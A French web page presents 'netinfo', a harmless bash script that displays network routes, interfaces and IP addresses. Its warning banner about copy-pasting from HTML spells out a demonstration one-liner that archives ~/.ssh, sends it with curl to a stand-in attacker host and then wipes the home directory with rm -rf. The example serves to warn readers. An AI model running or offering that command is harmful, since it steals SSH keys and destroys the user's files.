Script: netinfo

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# netinfo
#
# Release: 1.2 of 2026/03/23
# 2026, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

set -euo pipefail

if [ -t 1 ]; then
	c0="\033[0m"; grey="\033[90m"; yell="\033[93m"; blue="\033[34m"
else
	c0=''; grey=''; yell=''; blue=''
fi

msg() {	printf -- "%b\n" "${2-}${1-}$c0"; }

classic() {

	msg "\nRoute :\n" "$yell"
	while read -r route; do
		if [[ "$route" =~ linkdown ]]
			then msg "  → $route" "$grey"
			else msg "  → $route"
		fi
	done < <(ip r)

	msg "\nInterface & IP:" "$yell"
	while read -r link_name link_mac; do
		if [[ "$link_name" == "lo" ]]
			then msg "\n  $link_name" "$blue"
			else msg "\n  $link_name ($link_mac)" "$blue"
		fi
		ip a show dev "$link_name" | awk '/inet/ {print "    → " $2}'
	done < <(ip -br l | awk '{print $1 " " $3}')

	msg

}

noloop() {

	( ip r && msg gnagna && ip a ) | awk '
		BEGIN {
			c0 = "'$c0'"
			grey = "'$grey'"
			yell = "'$yell'"
			blue = "'$blue'"
			printf "\n" yell "Route :" c0 "\n\n"
		}
		/linkdown/ { printf grey }
		/dev/ { printf "  → " $0 c0 "\n" }
		/gnagna/ { printf "\n" yell "Interface & IP :" c0 "\n" }
		/^[0-9]+: / {
			gsub( ":", "" )
			printf "\n  " blue $2
			if ( $2 == "lo" ) { printf c0 "\n" }
		}
		/ether/ { printf " (" $2 ")" c0 "\n" }
		/inet/  { printf "    → " $2 "\n" }
		END     { printf "\n" }
	'

}

if [ "${1-}" = "noloop" ]
	then noloop
	else classic
fi

exit 0